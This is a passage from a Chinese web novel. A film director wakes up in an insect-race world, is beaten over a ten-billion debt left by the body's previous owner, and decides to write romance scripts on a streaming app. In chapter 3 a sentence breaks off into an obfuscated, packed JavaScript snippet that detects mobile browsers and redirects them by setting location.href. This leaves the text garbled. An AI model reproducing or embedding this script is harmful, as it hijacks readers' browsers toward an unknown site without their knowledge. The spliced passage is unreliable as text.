《导演！虫族只谈恋爱不杀生》 1. S级炮灰 在影视行业，加班是常态，更别提导演。 路寻衍今天依旧熬了个大夜。 举着扩音器，跟演员们一起站在雪山的寒风里，边打哆嗦边赶档期。 凌晨五点终于拍完，“道具组注意清理周围没爆干净的哑雷啊！” 嘱咐声落，他口鼻间呼出上升的薄白冷气，伸着懒腰转身掀开帐篷的一角走进去，盘腿坐在燃烧的火堆旁。 热浪扑面而来，带着翻滚的木屑灰烬味。 睡意顿时席卷，困得他眼皮打架，随手找来个登山包抱进怀里，下巴放了上去，就要完全陷进梦乡。 耳边忽然炸起轰隆一声巨响。 路寻衍以为片场出事瞬间清醒，后脚跟发力正要冲出去稳住现场秩序。 想不到下一秒，天旋地转！ “哟，都到这份上了，还想跑？” 有谁耻笑着，一把抓住了他的头发，将他半悬着从地上拔起。 刹那间头皮炸裂，气血一个劲儿地往脑袋顶上涌，意识被迫集中，“专心”聆听那对自家祖宗十八代的亲切问候。 “……@#%赔钱货！……￥%&没有治愈力也敢冒充S级的沐伦阁下？” 混合意俄法英腔调碎尸杂糅各国俚语的四不像怪词劈头盖脸砸向他。 “……@#知道你骗的是谁吗？操，赶紧把十亿结婚费给老子吐出来！” 话音刚落，他后脑勺的头发被攥起，狠狠向下一扣—— “砰！” 前额撞地，嗡的尖锐耳鸣当即响起，几乎刺穿鼓膜……有什么滚烫的液体顺延额角流下，淌进了右眼里。 路寻衍伸手抚去，指尖沾上黏腻的猩红。 他脸上表情出现一瞬嫌恶，眯着眼把掌移远了些，心道什么结婚费？ 听过造谣自己乱搞娱乐圈潜规则的，还真没听过“骗婚骗钱”这么个屎盆子的扣法，金牌大导演还能缺钱？ 越想，路寻衍的眸中越冰冷，心底腾起的火焰压在舌下，提出法庭上见。 “嘿哟？” 那声音的主人听了，却像听到个天大的笑话，嗤笑一声，“你不服？” 簌簌声响起。 对方摘掉手套，四指并拢，带着侮辱性，在他的侧脸不轻不重拍了两下，如同警告一条乱叫的宠物狗。 “疯疯癫癫地嘀咕什么鸟语呢？啊？死到临头了还敢瞪老子？” 他的头皮再次被拽紧，背后那道声音耀武扬威：“看你还敢不敢瞪？！” “喀啦！” 被迫上仰的颈椎在他后脑内部发出清晰的脆响，眩晕感夹杂着痛意袭来。 路寻衍头昏眼花地望着天花板，在布满黑斑的冷光灯罩下眨了眨眼睛。 不觉得自己闭眼前是在这个地方，更不记得何时招惹过这么一头蛮横吵闹的野豕，动手不动脑，热衷于施暴——而他恰好不提倡用暴力解决任何问题。 正因此，路寻衍的眉头锁得更紧。 “哟，开始装想不起来了是吧？” 那声音说完朝左朝右，点兵点将，“你，还有你，过来。给我搜！” 脚步声响起。 旁边两个彪形大汉围拢过来，粗暴地反拧过他的左手臂，摘下腕表。 “快给你雌父解锁！”他的后脑勺被人卷着头发往前推。 上仰的下巴秒变贴颈含胸，表盘上的虹膜扫描器对准了眼珠。 路寻衍：？ 腕表不是他的，自己从未见过这种型号…… 那声音称其为智脑手环。 “嘀！” “嘀！” 微X扫码般的短促电子提示音接连响起。 那声音每操作一步就扫他一下，指甲戳屏幕的声音此起彼伏。 周围钳制松绑，放开他的手臂。 路寻衍没说话。头疼，脖子疼，哪儿都疼。 室内一时间安静下来，只听得到呼吸的声音。 就在他以为终于消停了的时候，那个暴力狂突然怪叫一嗓子，抡起右臂将智脑摔在地上，砸了个稀巴烂。 “账户余额，零？！”愤怒的咆哮陡然拔高，飙出海豚音。 “这怎么可能？才两天！两个标准星际日，你最多转出一百万……” 对方无能狂怒拎起了他的头发。 路寻衍仰着下巴，看那个高大的欧美混血长相雀斑脸掰着手指头，颠三倒四地算数，嘴里神婆似的絮絮叨叨。 什么“……银行流水记录对不上！”； 什么“普通居民ID的每日转账最高限额也就五十万……”； 什么“这两天你能拿走的钱，连十个亿的零头都不到。” 最后朝他怒吼，唾沫横飞：“钱呢？！你**把钱弄到哪里去了？！” 路寻衍：“……”你问我，我问谁。 脑中念头刚动，穿越系统离线缓存的炮灰在原著的全部戏份，连带部分相关记忆如同决堤洪水汹涌灌入，随后又像胶卷拉片，不断在他眼前快速播放。 尽管炮灰死得早，故事一帧一帧拉出来却不少。 路寻衍提纲挈领，自己这是……穿越了？ 穿成书里那位全虫族唯一可能分化至S级的阁下，却是个炮灰！ 他的眼前一亮又一黑。导演爱玩剧本杀，前提是有能操作的特殊身份。 偏偏不走运，到手一张被设定成死于龙傲天原著男主之手的炮灰牌。 暴毙触发事件是血检信息素自证清白。 这是原炮灰的主意，用于实锤雄虫身份，洗清嫌疑。 ——显然，他在提出之前没想到这是在自寻死路。 就这么一张倒霉的卡，居然还是张金光闪闪的S级卡牌。 何谓S级？理论上，他成年后，精神治愈效果将达虫族历史百年之最强—— 实际上，高光永远不属于炮灰。迈入成年期初期的他丁点儿治愈力也没。 否则路寻衍好歹能体验一把VR当奶妈的游戏感。 事情是怎么恶化到这个地步的呢？ 回顾炮灰悲催一生，操蛋的根因疑似他前半辈子过得太舒心。 路寻衍扶额叹息。 原身跟雌弟在中央特权星竟然因为类似“炒饭该不该加香菜”这样的蹩脚问题连续吵架三天两夜，最终离家出走，扬言这辈子再也不回去！ …… 那他能去哪呢？雄虫一般不上班，离家出走等于自断经济命脉。 炮灰拍大腿，决定另辟蹊径搞钱，特意选了个战损躺板板、届时无法行夫夫之事的富有军雌订婚。 答应在自己成年之后，帮忙治愈对方受损的精神海，费用10个亿。 ——本来是两全其美，各取所需。 梳理到这，路寻衍只能感慨，接下来不出意外的话，一定会出意外。 果不其然，到地方过后—— 原身，现在是路寻衍自己了，精神力失控暴走，将整座医疗城炸成废墟！ 他在心底啧啧称叹，这要换到21世纪，高低是个恐袭好手。 地盘选的第七军团老巢，官方地图都找不到个小白点的偏远黑蜂第十星。 炸了他们在那唯一的一座医疗城。 …… 至于时机？ 还恰逢他们的军团长阿斯克在外面出任务重伤濒死被秘密护送回来。 用四个字总结，路寻衍所有的动机和行为，那都是可！疑！至！极！ 他被当作其它军团(派过来的间谍。 一只在作案前想方设法复制了阁下身份ID、携带未知无形炸弹、伪装中央星系来的准S级雄虫蓄意接近、对军团长图谋不轨的骗钱F级亚雌，单拎出来每个行为都够他吊销户口本。 面对远征星兽潮汐凯旋赶回来的瑞奇，诈骗犯竟还敢狡辩，“我真的是雄虫，不信你去找保护协会……” 话未说完又结结实实挨了一拳。 “我找你*呢！操(你*的，你**现在还敢拿雄虫保护协会来压雌了？” 这叫他怎么都解释不清。任凭他磨破嘴皮，雌虫也坚信常识。 雄虫的精神海再怎么浩瀚也没有攻击能力，走的统统是love&peace治愈师路线，给那些狂暴期雌虫当奶妈。 本来也该如此行事的路寻衍，上来就整了波大的，劈里啪啦砸场子。 像这样有攻击力但不多的，军雌们更相信他是雌虫的退化种，亚雌。 “死骗子！”瑞奇脸红脖子粗，紧抓着手里的虫渣，气不打一处来。 想当初，这个狗日的亚雌能瞒天过海，全靠他年龄太小，还处在青年末期的阶段，性腺发育不成熟，身上没有信息素的味道很正常，自己也就放松了警惕……瑞奇用他卓越的感官仔细观察着路寻衍，鼻子凑近嗅了下。 但现在这虫已经是成年初期，还没有信息素的味道，那就不正常了。 瑞奇揩揩自己的鼻尖，凭借他高等种的超强嗅觉，哪怕站在800米开外，都能闻到被抑制剂掩盖的信息素味道，更别提这么近距离还啥也没遮的！ 他拎起死骗子的衣领，脑中灵光一闪：“可能是等级太低的原因……” 所以信息素的味道极淡，只有用更加灵敏的虫须来检验真伪——别说没了医疗城就不能查性别，雌虫头顶触角里的几千几万个传感器能辨明一切。 “你做什么呢？”路寻衍被吓了一大跳。 便宜小舅子突然朝他低下头来，头顶两根乱动的蜂须快速覆在他的后颈上，强烈的非人的触感和冰凉感传来，令他不适地开始小幅度挣扎。 “操，你**的你再动！？”瑞奇一把摁住他的肩膀，气急攻心：信息素有是有，但已经淡到跟加了一勺盐的白开水差不多，根本没法辨认他的性别。 还是要医疗城的精密仪器才行。 但，现在它已经被炸成片废墟。 “绝对是因为你做贼心虚！觉得查不出来就还能蒙混过关是吧？”瑞奇瞪着他，肩膀剧烈起伏，“操，就你这种东西也敢跟老子张口要价十个亿？” 为了凑齐天价结婚费，他瞒着哥哥阿斯克透支三年的军饷，现在全完了。 X的赔得连底裤都不剩！ 路寻衍看到瑞奇面红耳赤，跟在医疗城废墟的时候如出一辙。 便宜小舅子掀了桌子，扬言就要弄死他。 当街游行的架势大力拖拽，把嫌疑犯一路从医疗城废墟拎到治疗舱跟前磕头。 力道却难以把控。 原身来不及走剧情，估计脑门被拍到玻璃顶盖上的第一下就没了，系统临时找来替死鬼，债务全压到他肩上。 路寻衍呼吸都差点骤停。 要他吐出来的，那可是十个亿啊，相当于21世纪顶梁柱大企业几万名员工齐心协力透支健康996三百六十五天的创收…… 自己拿头去跟几万个人比业绩！ 在大城市都够呛，更何况这儿，看就不是什么经济发达之地，瞧这室内墙面斑驳生霉掉漆，布满裂痕，窗户只剩半截挂在空中，风一吹就吱嘎作响。 被迫跪在脆成苏打饼干的多孔地板上，路寻衍思绪万千。 昧了别人十个亿，自己必须把这窟窿补上，却不能贸然联系原身的亲戚朋友帮忙还债，否则被发现壳子换芯，定会扯出更大麻烦，这就把他可走的路缩窄了许多。 路寻衍嘶声。 最头疼的当属囫囵看过炮灰从案发到现在的全部戏份，那十个亿的去向依旧成谜，炮灰怎么花钱这种细节在原著里根本不值一提。 最重要的戏份，是按剧情设置去死。 自己当然不会就这样坐以待毙。 最理想的解决方法，是乞求便宜小舅子宽限时间，好去追查原身可能存在的其它隐秘账户流水，十亿大 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现在当务之急，是忽悠便宜小舅子相信自己拿得出钱！ 路寻衍吐掉反涌到嘴里的血沫，权当是清过嗓子。 他要开始表演。 穿书前的导演就常指教演员的台本演绎，自身即为技术精湛的演员。 更何况编导？ ——还特别擅长随地大小编故事。 路寻衍脑中飞速闪过几个星际度假村的宣传片段，挑选一个发音拗口、距离遥远、且以封闭式高端服务著称的夷弗提托星。 这种地方，饶是最富经验的前线战官，大概率也只闻其名，难窥其详！ 他调整呼吸，强忍着剧痛，声情并茂地虚构自己享乐的场景，细节凭感觉乱编，比如曾豪掷一套海景房预约私人渔船，飘荡在素有液体蓝宝石美称的列帕开海域。 没几句再次被打断。 瑞奇火冒三丈，蜂须乱舞，“行了烦死了，你会玩关老子什么事！” “可这不正表明我有足够的财力去享乐吗？” 路寻衍气若游丝，却将嘴角弯成一个恰到好处的弧度。 “我还有笔钱……存在最信任的虫手里。” 一个虚无缥缈、难以立刻证实的对象，最适合用来拖延时间。 “给我点……资金周转的余地。我让他把钱……” “放屁！”唾沫星子飞到他脸上，“谁知道你那点破钱是怎么来的！” 路寻衍静默两秒，任由血污布满脸庞，眼神却不懦弱，反而冷静到近乎残酷，像导演在审视一场失控的戏。 分析完毕他开口了，声音不大，却字字敲在便宜小舅子的软肋上：“钱的来路不重要。重要的是，我能拿得出钱。 而你，赌不起血本无归。” 语罢眼角余光扫过周围十几杆蠢蠢欲动的步枪的枪口，欲扬先抑： “……况且，你现在杀了我，一个子儿都拿不回来，赔得倾家荡产。 军团接下来日子也不好过吧？” 咔、咔咔咔！瞬间，保险栓被拉动的机械音此起彼伏，周围几十杆步枪齐刷刷上膛，直直对准他的头颅。 众军雌用沉默代替斥喝： 诈骗犯，再敢多嘴一句，信不信老子崩了你的脑袋！ “急什么？”路寻衍笑笑，看上去丝毫不畏惧近在咫尺的危险。而这份伪装出的从容，才是谈判的关键。 他的眼角弯了弯。 迎着那些杀人的目光，废物亚雌望向他们的长官，云淡风轻道： “倒不如……给我个机会。 反正多等几天，你也没什么损失，随时都能杀了我。不是吗？” 话音刚落，他就感觉到瑞奇抓着自己头发的手松了松。 快速扫视一圈，周围的军雌也跟着，逐渐放下枪口。 “哼。”路寻衍勾唇，鼻腔喷出气音。 至此，只差最后一击收尾攻心！ 半张脸血呼啦的废物亚雌笑着直视他们长官的眼睛，慢悠悠地问询： “是现在就崩了我——立马赔光老本，第七军团元气大伤； 还是等我两天——见证我的所言非虚，拿回属于你们的钱？ 决定权在你手上，瑞奇大校。” “……” 瑞奇沉默，抓着他头发的掌心又倏然握紧。 嘶。路寻衍强忍疼痛，面上不显。 半晌，便宜小舅子应该是觉得他说得有道理，终于撒手。 耳边风声呼啸。 路寻衍摔在地上，头疼欲裂。耳鸣加深，眼前白茫茫一片。 嚣张的声音从半空中传来：“行啊。你要时间，那老子就给你一周，五个标准星际工作日，总够了吧？” 瑞奇戴回白手套，居高临下，朝他竖起两根手指，吐出一个天文数字： “——两百万星币！到时候，少一个子儿，老子把你的脊椎抽出来当旗杆！” 路寻衍差点没绷住，一口冷气倒抽进肺管，呛得他内脏都在抽痛。 五天！两百万！每天必须净赚40个w，□□都没这么来钱。 现在时间倒是有了，关键从哪去搞这两百万？ 好家伙，别的穿越者睁眼手握系统嘎嘎乱杀； 轮到他就落地挨打，开局倒欠十个亿，现在还喜提五天两百万死亡KPI. 活脱脱一个外挂金手指缺失、原身人脉封锁、背景剧透残缺的三无开局！ 垃圾系统估计就等着他死呢，直接装透明人。路寻衍飙演技才得以自救。 思来想去，除了演技，他作为编导，吃饭的家伙无非就俩： 一是编剧，二是拍戏。走着瞧吧。 2. 主题确认 如果他要拍电影，首先必须面对的第一个致命问题：那就是选材。 正所谓站在风口上猪都能飞，路寻衍想整一部好莱坞式的动作大片。 这在崇尚肌肉和暴力的雌虫圈里绝对能爆火，但很不幸是用钱砸出来的艺术，往往视觉冲击拉满，特效炸裂，需要顶级的CGI技术，他没有。 以前不需要考虑预算的时候，倒可以直接扔给专业的公司外包完成。 而现在路寻衍不能故技重施。 特效加工按秒计费，一秒钟能直接给他烧干净30万。 这还只是一秒钟。一部好莱坞式的动作大片，少说得播两个小时，那里面的特效镜头就起码占三分之一。 算下来的总投资轻易破千万，他拿什么去拍？ 思及此，路寻衍的脑袋更痛了。 “嗡——！！！” 无形的冲击波以他为中心，骤然爆发，席卷了整个治疗室。 那些刚才还气焰嚣张的军雌们顿时被波及，大脑断片，接二连三的噗通瘫软在地，失去意识。 “嗡嗡嗡……”尚未完全散去、肉眼几不可见的精神力涟漪荡开余波，周围空气都微微扭曲、失真。 路寻衍已经顾不上这么多。等到视界恢复清明，周围“尸体”已经四仰八叉的，以他为圆心躺了一地。 霎时间，偌大的治疗室内，只剩下医疗仪器单调的嗡鸣。 半脱落的窗户被风吹得吱嘎作响，衬得这片死寂格外渗人。 路寻衍撑着地面，剧烈喘息，颤抖地捂住自己的脑袋。 刚才那股毁天灭地的精神力冲击波就是从这释放出去的。 没有快感，只有一阵后怕。 这股无法彻底掌控的力量，是悬在自己头顶上的另一把剑。 路寻衍紧抿着嘴唇压下心底油然升起的、会妨碍他继续理性行动的战栗，沉默地爬起。 现在的情况，属实是不容乐观。 等瑞奇醒来，看到这恐袭现场梅开二度，他将再没任何辩解的余地。 必死无疑。 倒不如……先下手为强！ “哎。”路寻衍想罢，敛上双睑，轻轻地叹了口气。 自己从不提倡暴力，可到了必要的时刻，也绝不会心慈手软。 银翼般的眼睫在他安静思索时，轻轻地颤动，又很快睁开来。 脚上深棕色的靴跟提起，“嗒、嗒”踩在朽烂的地板上，不疾不徐。 走向了还在昏迷的瑞奇。 路寻衍停在这个便宜小舅子的旁边，衣料摩挲的轻微簌簌声响起。 他俯身，一只手作为着力点，虚搭在自己的腿面上，缓缓地往下蹲。 另一只手则径直探向了那嚣张的便宜小舅子此刻完全不设防的腰间。 隔着及肘的黑色皮制长手套，指腹在那布料厚重的军装上迅速游走。 片刻，一把军制式配枪被他抽出，拿在手里比铁坨还沉。 路寻衍的唇角扬起，又很快落下——不论自己怎么试，都扣不动扳机。 估计是有生物锁，非清醒状态下的本虫不可使用。 他短促地啧了一声。 这些21世纪科幻片里才有的武器在未来真的被量产出来，自己见到了还摸着了，却一点也高兴不起来。 黑暗中，银发“亚雌”手握致命武器，视线逐渐下移，落在便宜小舅子军服外面、随呼吸起伏的喉结上。 既然开枪被pass，那就换卡脖子吧。 他手腕往后一抛，扔掉枪，在金属落地的啪嗒声中，将白色风衣的袖子优雅地朝上挽起，对准瑞奇的脖子，双手虎口紧掐，朝内用力收缩。 谁曾想便宜小舅子的脸色如常，仿佛呼吸器官压根就不在这里，气管和鼻腔都只是装饰。 路寻衍霎时有些迷茫，眸里透出不解和困惑。 这怎么可能呢？按道理来讲，不管碳基硅基，只要他们还是生物，就一定存在什么杀死这帮虫子的办法。 “或许，只是需要花点时间多找找而已……” 他的眼神微微一凝，又做出许多种尝试，最终却得到相同的结论—— 人类已知的所有方法，都弄不死军雌。 他们脖子断了都还有心跳，伤口也能自动复原。 这简直跟科幻灾难片里演的一模一样！ 寒意顺着脊椎爬上后脑，路寻衍的虎口放开便宜小舅子瑞奇，缓缓松开手，第一次感觉到了真正的棘手。 这已经并非是简单的体质强悍可以概括，而是生命形态的根本差异。 所以说，他要面对的不只是一群莽夫，更是一群披着人皮的怪物。 这个世界或许比自己想象中的还要残酷和陌生。 一如他还不上钱就会被杀。可凭什么要自己接盘？那是原身作的孽。 但逃，又能逃到哪里去？这群怪物醒来肯定会把他追杀到天涯海角。 死路，活路，似乎都是绝路。 “嗤。”路寻衍想到这里，忽然觉得有些好笑。 开局地狱难度，自己身上水灵灵地背了十个亿的天债不说，敌人还全是些刀枪不入的怪物……这剧本，可比他拍过的任何一部电影都刺激。 能试的方法都已经试过了。既然杀青不了对手，那就把这场戏导完。 他倒要看看，自己这从蓝星过来当炮灰的金牌大导演，能不能在虫族这片陌生的舞台上，演出一幕惊天逆转！ 银发雄虫敛去眼底波澜，动作流利地放下衣袖，脱掉染血的手套挂在腰间风衣打了结的衣带上，重新站起来。 路寻衍垂眸最后凝视那便宜小舅子在昏迷中少了几分戾气、多了许多平和的毫无防备的脸，并不对他追加无谓的暴力。 他长长地舒了一口气，再看这群躺尸在地的军雌，心态已经发生转变。 此时此刻，他们不再是索命的债主，而是“剧组”里暂时失能的群演。 奇异的掌控感油然而生，竟压过了身体的剧痛，让他莫名找回些安全感。 路寻衍恍如重回自己最熟悉的剧组拍摄现场，拖起瑞奇的衣领，像在片场调度道具，将他们逐渐摆成三排，还留出了安全的观察距离和行动通道，做完这些他又从一个修理兵的口袋里摸出一柄小型榔头，有节奏地在掌心轻敲着，目光冷静地扫过全场。 谁敢提前醒来，他不介意让对方“杀青”的方式惨烈一点。 现在自己有相对安全的环境去赚那200万，其它开支能省则省。 例如道具——用原身的智脑手环就行。 反光的玻璃顶盖上逐渐倒映出一个由远及近的身影。 “嘶，我记得它被瑞奇摔在了这附近……” 路寻衍抽着气，转回到维生治疗舱周围。 脑子晕眩，于是他把手伸出去，摁在玻璃顶盖上作为借力支撑的点。 额间感到湿润，他抬手，一把将流到自己右脸和眼睛里的红色抹去。 有几滴被路寻衍甩飞的血珠，在半空中划出一道抛物线，洒落在阿斯克玻璃顶盖上，模糊了内里沉睡的身影。 板正的黑色军装下，是即使在深度昏迷中，也依旧能看出蕴含恐怖爆发力的躯体轮廓，胸膛的起伏微弱，脸上覆盖有一层不透明的维生面罩。 军雌的体质恐怖强韧，似乎也仅能在治疗舱开足马力配合下，维持最低限度的生理代谢，心脏数十秒才跳一次。 每次搏动都显得异常的沉重而且艰难，仿佛随时会彻底停摆。 这就是小说原著男主温米德的官配——那位重伤濒死的上将。 阿斯克，第七军的军团长，未来升至元帅。 这位原著男主的官配受，在被第七军团带到这里过后，被军医下了无数封病危通知书，断言再不可能苏醒。 然而凡事总有例外，幸运的大门永远为天选之子温米德敞开。 阿斯克最终还是醒了。 路寻衍作为早死的炮灰一枚，只知道剧情到自己血检暴毙为止的所有发展，不知道重伤躺板板的阿斯克上将后来怎么痊愈的，或许是男主天赋异禀，但总之并非他该掺合的戏份。 自己这个炮灰，从开局就注定了要另谋出路—— 多方考量之后，路寻衍决定重操旧业，但，不是直接拍电影。 原因无他，电影制作周期长，耗资惊人，还颇有一锤定生死的风险。 如果自己押上全部筹码，直接梭(哈All In投拍大制作的话？ 胜则血赚，投资回报率直接拉满，轻松飙到30倍以上，相当于投出一个亿，收回三十个亿，数钱数到手抽筋。 败则血亏，满盘皆输，一夜之间倾家荡产。 在虫族直接拍电影，简直跟赌博没有区别！ 风险太大了，路寻衍不确定自己的过往经验是否完全适用。 小乱子还好，到时候万一出点什么大岔子，那就前功尽弃了。 他不能拿自己的命去赌。 在这个完全陌生的虫族市场，必须先做“市场调研”，确定观众口味。 路寻衍攥了攥拳。综合来讲，最保险的方法是干脆从0成本的剧本写起。 等到时候确定了什么题材最抓虫心，积累一定的名气，之后再拍电影暴赚30倍快速偿清债款，也不迟。 初步的行动策略就此确立。 路寻衍单手扶着玻璃顶盖，蹲地上摸，薅了大概有两圈。 终于，碎成蜘蛛网状、局部拱翘的屏幕刮到试探的指尖。 反馈从皮肤表层传回——那个被砸烂的智脑，找到了。 路寻衍捡起它，捣鼓一阵，很快弄清新道具的佩戴方法，将里面摔得凸起的金属薄板一点点用指尖摁回去，噼里啪啦的脆响声在屋里回荡。 全部完成之后，长按侧边栏尝试开机，心中浮现几分隐秘的雀跃。 ——撇开那枪不提，星际时代的高科技产品，会是怎样的智能呢？ 路寻衍越想越期待。他一向对未知事物保持适度的好奇。 不多时，恢复电力的智脑屏幕顽强地闪烁几下，前置摄像头亮起。 自动进行虹膜扫描等数道生物验证关卡，两行优雅的银色字体在漆黑的屏幕上浮现。 【虹膜验证通过。生物信息扫描通过。精神力波动吻合度99.8%—— 欢迎回来，尊贵的S级阁下。】 路寻衍的期待值被这高规格问候拉到顶峰。 智脑在半空投射巨大的虚拟屏，一个由像素块组成的俏皮微笑表情跳出： 【根据您的心率与肾上腺素数据分析，您的新婚体验评级为‘极度刺激’，检测到您的精神力阈值有突破迹象，这通常是与高匹配度伴侣结合后的积极影响。相信您一定与阿斯克上将拥有美妙且难忘的一晚～】 “……”什么人工智障！路寻衍差点没控制住，翻它个白眼。 哪个三流编剧给这AI写的台词，简直是地狱冷笑话。 作为炮灰钱没拿到，挨打挨骂一身伤，哪点跟“美妙夜晚”沾得上边？ 人工智障感知不到他的怨念，还在屏幕角落放了一朵小小的淡蓝色像素烟花，继续： 【精神力疏导亦需节制哦～请您在放松享受甜蜜的同时，别忘了适度关注精神海稳定度，成年初期波动较大……】 没等人工智障bb完，残余的好奇心也消耗殆尽。 路寻衍手指带点暴躁地在屏幕上狠狠一划——Skip！ 来到主页面，首先检查原身全部金融账户，果真如瑞奇所咆哮。 他冷笑一声，对这个结局毫不意外。 但用赃款还债的Plan A就彻底宣告破产了吗？ 那倒未必，它永远是最佳的备选项。 类比21世纪，片场意外频发，有时摄影师出外勤都能忘带相机，致使剧组停拍。 导演除去Plan A还通常会准备Plan B、C、D. 路寻衍昂着下巴，利落地退出了所有金融软件，指尖在主屏幕上滑动，如同在检阅自己的武器库。 他随手点开一个低调奢华的黑金色APP，视觉动脉。 想着尽可能减少未来的麻烦，注册新号。 结果系统提示【Failure！报错原因：一个身份ID只能绑定一个主播号。】 路寻衍挑眉不语，切出去又试了好几次，发现原身已经在所有平台都注册过观众号，而用身份ID实名认证过的观众号才能升级成主播号。 也就是说，对他来讲最好的那个选择，开新号，是不可能的了。 只有退而求其次，在这些软件里挑捡。 路寻衍的指尖快速划动着，默默分析对比，最终选择一个橙色图标。 设计风格亲切，类似21世纪的爱某异播放APP，其名：菲利克思。 Felix. 这软件因为小众，原身没像在别的平台那样有一大堆社交记录，只有十几年前的寥寥几条消息和很多年都没上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609376|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线的个位数僵尸粉，风险最低。 路寻衍点进去改昵称换头像，还清掉了自己主页里的所有动态和粉丝。 整个账号顿时焕然一新。 “Felix……”他看着软件名，低声喃喃。 英文谐音Phoenix，翻译过来有浴火重生之意，因吹斯汀。 但有刚才的人工智障“珠玉在前”，路寻衍不敢抱过多期待。 他怀着平常心点开，Felix首页推荐UI瞬间映入眼帘，饱和度拉满，色彩斑斓，完全就是个巨大的页游，搭配的BGM居然却相当轻柔舒缓。 …… 不是，音乐能这么配吗？路寻衍对这虫族的品味果真是摸不着头脑。 再看网站的榜单，数量繁多，扫一眼，粗略估计总数高达十余种。 其中当属占据1/3屏幕大小的炫彩横向滚动热度图推最吸引眼球。 路寻衍看了标题，这是Felix平台的首页推荐榜。 往下1/5白底黑字带头像，提示粉丝哪些他们关注的主播正在直播。 最后才轮到新V、未签约随机排序的标题字推，划完大概需要用力的三下。 他抱着学习的心态浏览完毕，却发现个怪象： 那些直播间标题，好像从工厂里批发出来的一样。 就比如，《机甲狂潮：从废铁到宇宙霸主！》 再比如，《开局歼星炮，我每天炸一颗行星当烟花！》 还有这，《肌肉就是真理！看我肱二头肌撕裂黑洞！》 甚至是，《火力即为正义！》…… 吃掉平台90%流量的前两百名作品推荐位，清一色被简单粗暴、只追求极致感官刺激的“无脑升级爽”题材屠榜。 评论区充斥着观众疲惫的哀嚎： 【腻了腻了！又是这套路！编剧脑子里塞的是星兽屎？除了突突突轰轰轰还会啥？】 【《开局歼星炮》第108集了！主角还在无脑炸行星！编剧你他X告诉我，除了换颗更大更圆的炸，剧情跟第一集有区别？！观众的钱这么好骗？！】 【《肌肉就是真理》笑死，反派临死前都要夸一句‘好大的胸肌’！这编剧是退役健身教练转行？逻辑呢？剧情呢？都被肌肉干碎了是吧？！】 【想看点别的啊！给条活路吧！脑子要萎缩了！】 【+1，审美疲劳到呕吐，新片有没有细腻点的？哪怕狗血爱情也行啊！】 路寻衍飞速划拉智脑光屏的手停下，重点分析这一现象。 观众在呼唤多样性！尤其是……爱情题材？ 带着求证的心态，他点开右上角分类筛选，找到「爱情/情感」主题标签。 结果出乎意料—— 这个分类下的作品数比爽剧还多，十分钟都划不到底，总量突破1000页，排名无一例外的极端靠后。 全部落在了万名开外，如同被流放的弃子。 更让他愕然的是，虫族社会里的观众们，竟然普遍将“爱情电影”，视作上不得台面的“下三流”娱乐！ 路寻衍震惊，路寻衍不理解。 带着怀疑人生的目光，他点开了一部封面还算唯美的爱情片。 初始页面刚加载完毕，七八层闪烁的、充满暗示性的艳色广告瞬间映入眼帘。 关掉一层，又弹出一层，顽固恶劣。 而且画面抖动即播，他敢保证自己的手腕根本没动！ 一个尺度惊人的爱情片段就开始自行播放……荡气回肠。 路寻衍眯起眼睛，嫌恶地把智脑屏幕推远，仿佛那是什么脏东西。 就这？也配叫“爱情电影”？居然还上映有全息的版本。 简直是新一代粗制滥造的电子垃圾！ 他耐着性子，又看了几部所谓的爱情片，剧情之敷衍，令人发指。 试问什么样的爱情产生总共只需俩放慢眼神镜头+局部肌肉特写？ 在军校走廊，雄虫阁下抱着书，与军校生雌虫相撞。教材散落满地。 …… “喂，同学，你怎么不长眼睛？” 下一秒，镜头切到深黑短T，半遮半掩的胸肌。 然后……就没了？俩主角感情升温比火箭窜天还快，直接快进到滚床单？ 路寻衍大跌眼镜，感觉自己的专业认知都受到了侮辱。 这能叫爱情？疑似雌虫被撞坏脑子，雄虫见色起意。 这叫动物本能！ 他强忍砸智脑的冲动，时不时16倍速播放，在原身收藏夹里又翻到好几部近十年的“经典”爱情电影。 大部分已被下架，只留一个从中间对半裂开的灰色文件夹图标，点不开。 幸存的少部分评论区戾气冲天，沾到半点就狂喷，堪称大型鞭尸现场： 【雄虫可能开局就跟军雌订婚？】 “……”路寻衍感觉被que了一下。你别说，你还真别说。 他继续翻看，在心底“嚯”了声，评论区隐藏的信息量有点大。 其一，军雌向往爱情但得不到。 其二，科技高度发达的星际却保留与中世纪社会结构类似的怪象。 故事开局就订婚，跟他和原著男主官配元帅的现状相似； 不同点在于雌虫没有重伤濒死，健康得很。 宽肩窄腰，肌肉虬结，散发过剩的荷尔蒙。 本来选角100分的电影，毁在逻辑喂狗，故事发展生硬奇怪。 里面两个主角，分明没有任何感情基础。 雄虫阁下却在雌虫摊上事的第一时间表态，力挺雌虫。 “我相信XXX不是你杀的。”给雌虫感动得稀里哗啦。 观众不中了：我要把导演打到稀里哗啦！ …… 路寻衍浏览至此，心中已经浮现未来发展的大致方向。 这所谓经典爱情电影，选材就是他早已屡见不鲜的协议结婚主题嘛？ 在星际貌似颇受诟病。 但从现象看本质，归根结底，是那些剧本的处理手法欠缺所致。 那正巧，金牌大导演最不虚这！ 他停止划动智脑，一个大胆又剑走偏锋的念头突然在脑中如聚光灯在黑暗里噌地照亮，挥之不去，愈发强烈。 路寻衍舔了舔干裂带血的嘴唇，眼底燃烧起属于顶级掠食者发现空白市场时的兴奋光芒，手指快速敲下新文档的草拟标题。 【协议结婚，但最后真香了】 3. 纯爱故事 是了，他打算先从剧本写起。 按照标准的影视化流程，是要定好大型再画每一帧的分镜，在旁边一一备注运镜的时候应该怎么推怎么摇。 拍的时候没钱请专业演员，在网上找点免费素材也行。 最后上传十分钟的样片看反响。 正要关闭Felix软件，他的眼角余光一扫，不料在首页底端的最近更新栏目，瞥见了“剧本创作”四个字。 …… 路寻衍是真看不懂星际时代的娱乐形式了。 怎么已经进化得如此抽象，写个剧本，别的一概没有，也能直播？ 不过……好像诸如21世纪知名终点作家天X土豆，也开过直播间码字。 写小说的能直播，写剧本怎么就不能了？ 